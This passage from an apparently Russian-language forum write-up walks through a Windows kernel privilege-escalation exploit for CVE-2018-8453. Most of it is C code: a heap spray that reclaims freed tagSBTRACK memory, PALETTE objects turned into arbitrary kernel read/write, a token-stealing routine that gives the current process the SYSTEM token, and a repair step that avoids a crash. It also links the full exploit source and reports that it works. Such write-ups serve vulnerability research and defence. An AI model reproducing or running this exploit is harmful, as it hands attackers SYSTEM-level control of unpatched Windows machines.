            ShowError("GetModuleHandle", GetLastError());
            goto exit;
        }
 
        HWND hWnd[0x400] = { NULL };
        WNDCLASSW wc = { 0 };
        WCHAR MenuName[0x100] = { 0 }, ClassName[0x50] = { 0 };
 
        // Occupy freed tagSBTRACK memory
        memset(MenuName, 0x43, dwSize - sizeof(WCHAR) - POOL_HEADER_SIZE);
        *(PULONG64)((ULONG64)MenuName + 0x8) = g_ulTarAddr_2018_8453;
        *(PULONG64)((ULONG64)MenuName + 0x10) = g_ulTarAddr_2018_8453;
 
        for (i = 0; i < 0x400; i++)
        {
            memset(ClassName, 0, 0x50);
            sprintf((char*)ClassName, "WindowLeak%d", i);
 
            memset(&wc, 0, sizeof(wc));
            wc.hInstance = handle;
            wc.lpfnWndProc = DefWindowProc;
            wc.lpszMenuName = MenuName;
            wc.style = CS_HREDRAW | CS_VREDRAW;
            wc.lpszClassName = ClassName;
            if (!RegisterClassW(&wc))
            {
                ShowError("RegisterClassW", GetLastError());
                break;
            }
 
            hWnd[i] = CreateWindowExW(0, (LPCWSTR)ClassName, NULL, WS_DISABLED, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
            if (!hWnd[i])
            {
                ShowError("CreateWindowExW", GetLastError());
                break;
            }
        }
 
        ULONG64 ulTagCls = 0, ulClientDelta = 0;
        PTHRDESKHEAD pTagWndHead = NULL;
        for (i = 0; i < 0x400; i++)
        {
            if (!hWnd[i]) break;
            pTagWndHead = (PTHRDESKHEAD)HMValidateHandle(hWnd[i], TYPE_WINDOW);
            ulClientDelta = (ULONG64)pTagWndHead->pSelf - (ULONG64)pTagWndHead;
            ulTagCls = *(PULONG64)((ULONG64)pTagWndHead + 0xA8) - ulClientDelta;
            g_ulMenuName_2018_8453[i] = ulTagCls + 0x98 + ulClientDelta;
        }
 
        for (i = 0; i < dwCount; i++)
        {
            if (hAccel[i])
            {
                DestroyAcceleratorTable(hAccel[i]);
                hAccel[i] = NULL;
            }
            else break;
        }
    }
 
exit:
    return org_fnDWORD(arg0);
}

Прежде чем активировать уязвимость, вы можете видеть, что cEntries первого объекта PALETTE из двух созданных объектов PALETTE размером 0x800 имеют исходный размер:


1660625524135.png


После срабатывания уязвимости, после выполнения двух операций -1, она расширяется до большого значения:

1660625552846.png


На этом этапе вы можете читать и записывать любой адрес, читая и записывая указатель pFirstColor соседнего объекта PALETTE через функцию за пределами границ, Соответствующий код выглядит следующим образом:

Код:
BOOL SetPaletteTarget(HPALETTE hManager, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress)
{
    BOOL bRet = TRUE;
 
    // 设置要读写的内存地址
    if (!SetPaletteEntries(hManager, dwStart, dwEntries, (PPALETTEENTRY)&pTargetAddress))
    {
        bRet = FALSE;
        ShowError("SetPaletteEntries", GetLastError());
        goto exit;
    }
exit:
    return bRet;
}
 
ULONG64 ReadDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress)
{
    ULONG64 ulData = 0;
 
    if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress))
    {
        goto exit;
    }
 
    if (!GetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulData))
    {
        ShowError("GetPaletteEntries", GetLastError());
        goto exit;
    }
 
exit:
    return ulData;
}
 
BOOL WriteDataByPalette(HPALETTE hManager, HPALETTE hWorker, DWORD dwStart, DWORD dwEntries, PVOID pTargetAddress, ULONG64 ulValue)
{
    BOOL bRet = TRUE;
 
    if (!SetPaletteTarget(hManager, dwStart, dwEntries, pTargetAddress))
    {
        bRet = FALSE;
        goto exit;
    }
 
    if (!SetPaletteEntries(hWorker, 0, dwEntries, (PPALETTEENTRY)&ulValue))
    {
        bRet = FALSE;
        ShowError("SetPaletteEntries", GetLastError());
        goto exit;
    }
 
exit:
    return bRet;
}

5. Запуск результатов​

Вы можете читать и записывать любой адрес, а также повышать права, изменяя Токен:

Код:
BOOL EnablePrivilege_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker)
{
    BOOL bRet = TRUE;
    DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY);
    DWORD dwFirstColorOffset = 0x78;
    DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4;
 
    // 获取System进程的EPROCESS
    ULONG64 ulSystemEprocess = GetSystemEprocessByPalette(hManager, hWorker, dwStart, dwEntries);
    if (!ulSystemEprocess)
    {
        bRet = FALSE;
        goto exit;
    }
    
    DWORD CONST dwPIDOffset = 0x2E0, dwLinksOffset = 0x2E8, dwTokenOffset = 0x358;
    ULONG64 ulPID = GetCurrentProcessId(), ulCurPID = 0, ulCurEprocess = ulSystemEprocess;
    
    // Get the current process EPROCESS
    do {
        ulCurEprocess = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwLinksOffset));
        ulCurEprocess -= dwLinksOffset;
        ulCurPID = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwPIDOffset));
    } while (ulPID != ulCurPID);
 
    ULONG64 ulToken = 0;
    
    // Assign the token of the system process to the current process
    ulToken = ReadDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulSystemEprocess + dwTokenOffset));
    WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)(ulCurEprocess + dwTokenOffset), ulToken);
 
exit:
    return bRet;
}

Когда уязвимость срабатывает, xxxSBTrackInit освобождает память, на которую указывает MenuName. Чтобы предотвратить ее повторное освобождение при завершении процесса и освобождении ресурса, что приводит к двойному освобождению, необходимо решить эту проблему, предварительно изменив адрес. сохраняется в g_ulMenuName как NULL. Соответствующий код для этой проблемы выглядит следующим образом:

Код:
BOOL ReapairData_CVE_2018_8453(HPALETTE hManager, HPALETTE hWorker)
{
    BOOL bRet = TRUE;
    ULONG64 ulValue = 0;
    DWORD i = 0;
 
    DWORD dwEntries = sizeof(ULONG64) / sizeof(PALETTEENTRY);
    DWORD dwFirstColorOffset = 0x78;
    DWORD dwStart = (0x800 - 0x88 + dwFirstColorOffset) / 4;
    for (i = 0; i < 0x400; i++)
    {
        if (g_ulMenuName_2018_8453[i])
        {
            if (!WriteDataByPalette(hManager, hWorker, dwStart, dwEntries, (PVOID)g_ulMenuName_2018_8453[i], (ULONG64)ulValue))
            {
                printf("reapair wrong\n");
                bRet = FALSE;
                goto exit;
            }
        }
        else break;
    }
 
exit:
    return bRet;
}

Полный код хранится по адресу: https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2018-8453.cpp . Запуск программы может успешно повысить привилегии и выйти из программы без возникновения ошибки BSOD:

1660625679898.png
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх